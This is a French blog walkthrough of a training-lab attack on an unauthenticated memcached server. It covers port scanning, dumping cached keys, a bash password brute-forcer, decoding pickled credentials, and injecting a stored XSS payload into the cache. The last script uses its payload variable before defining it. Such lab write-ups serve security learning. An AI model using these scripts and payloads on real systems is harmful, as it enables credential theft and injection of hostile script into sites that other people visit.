Attaque sur serveur Memcache

Attaque sur serveur Memcache

Lors d’une attaque sur serveur web, il est souvent intéressant de regarder ce qui tourne en parallèle du Apache, Nginx ou autre. Car si un administrateur pense à sécuriser son instance correctement, il peut ne pas penser, voir ne pas être au courant, de l’existence d’un memcache. Nous allons voir comment en tirer parti pour injecter du code dans un lab fourni par attackdefense.com.

Un serveur memcache est, grossièrement, un cache stockant des paires clés / valeurs pouvant être injectées par une appli web et réutilisées pour éviter, par exemple, une ou plusieurs requêtes en base de données. Voici un workflow d’utilisation d’un memcache vulnérable pour injecter une XSS dans une page web.

Pour commencer, un scan du réseau nous permet de détecter notre cible, qu’on va ajouter dans notre /etc/hosts sous le nom de target pour une meilleure lisibilité.

# nmap -p- target 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 22:41 IST
Nmap scan report for target (192.226.110.3)
Host is up (0.000014s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
80/tcp    open  http
11211/tcp open  memcache
MAC Address: 02:42:C0:E2:6E:03 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.45 seconds
# nmap -p 11211,80 -sV target
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 22:41 IST
Nmap scan report for target (192.226.110.3)
Host is up (0.000041s latency).
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Werkzeug httpd 0.15.2 (Python 2.7.12)
11211/tcp open  memcached Memcached 1.5.12 (uptime 2256 seconds)
MAC Address: 02:42:C0:E2:6E:03 (Unknown) 

On peut utiliser la suite d’outils memcstat, memcdump, memccat disponible sur Kali pour communiquer avec notre memcache, et récupérer des informations notamment le nombre d’items (paires clés / valeurs) actuellement stockés.

# memcstat --servers target
Server: target (11211)
pid: 7
uptime: 2542
time: 1558890997
version: 1.5.12
libevent: 2.0.21-stable
pointer_size: 64
rusage_user: 0.199857
rusage_system: 0.162674
max_connections: 1024
curr_connections: 2
total_connections: 9
curr_items: 6
total_items: 6
...
# memcdump --servers target
727b67795016b67699873898e27c4f9b
2ac1e38ef28375f61c94667a6ce99de9
29f33cab54c2a8858885b95d8fbb7ff1
4425322b4d3b21484e2719c278c0a459
a39fedb2e367ecece6c46f8810b27239
7f912776f6411601e787d6fe393c3368

Si jamais le serveur ne répond pas, c’est que la connexion requiert probablement un couple login + password. Il peut être bruteforcé assez rapidement (selon complexité du password et timeout / ban etc… bien sûr) via un petit script bash. Je ne crois pas qu’il existe de module metasploit pour cela par contre.

#! /bin/bash 
while read F ; do
 echo "Trying $F"
     if memcstat --servers=$1 --username=$2 --password=$F | grep -q Server ; then
     echo "Password Found: "$F
     break
 fi
 done < $3

Une fois que l’on a récupéré les items, on peut voir ce qu’ils contiennent en les requêtant avec memccat. On voit ici qu’il s’agit d’une sérialisation d’une chaîne probablement encodée en base 64. Essayons de les décoder avec un petit script python.

# for key in $(memcdump --servers target); do memccat --servers target $key; done
 S'YWRtaW4='
 p0
 .
 S'MTItNi0xOQ=='
 p0
 .
 S'cGFzc3dvcmRAMTIz'
 p0
 .
 S'QWRtaW4='
 p0
 .
 S'V2VsY29tZSB0byBBdHRhY2sgRGVmZW5zZSBMYWJz'
 p0
 .
 S'YWRtaW5AYXR0YWNrZGVmZW5zZWxhYnMuY29t'
 p0
 .
from pymemcache.client.base import Client
from base64 import b64decode
import pickle 

client = Client(('target', 11211))
keys = ['727b67795016b67699873898e27c4f9b', '2ac1e38ef28375f61c94667a6ce99de9', '29f33cab54c2a8858885b95d8fbb7ff1', '4425322b4d3b21484e2719c278c0a459', 'a39fedb2e367ecece6c46f8810b27239', '7f912776f6411601e787d6fe393c3368'] 
       
for key in keys:
    b64decode(pickle.loads(client.get(key)))
===== Output =====
'admin'
'12-6-19'
'password@123'
'Admin'
'Welcome to Attack Defense Labs'
'admin@attackdefenselabs.com'

Comme on peut le voir, plusieurs informations peuvent être de grande valeur. Mettons ça de côté un petit instant et regardons ce qu’il se cache derrière le service web de la cible en question.

Page d’accueil du site web

On peut voir que parmi les informations en cache, “Welcome to Attack Defense Labs” fait parti des items. Essayons de remplacer la valeur en cache en injectant une XSS.

from pymemcache.client.base import Client
from base64 import b64encode 
import pickle

client = Client(('target', 11211))
key = 'a39fedb2e367ecece6c46f8810b27239'
client.set(key, pickle.dumps(b64encode(payload)))
payload = "<script>alert('XSS Found!');</script>"
client.set(key, pickle.dumps(b64encode(payload)))

Et voilà le résultat!

Après injection d’une XSS en cache

Il ne reste plus qu’à utiliser cette Stored XSS correctement pour récupérer des informations intéressantes!

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.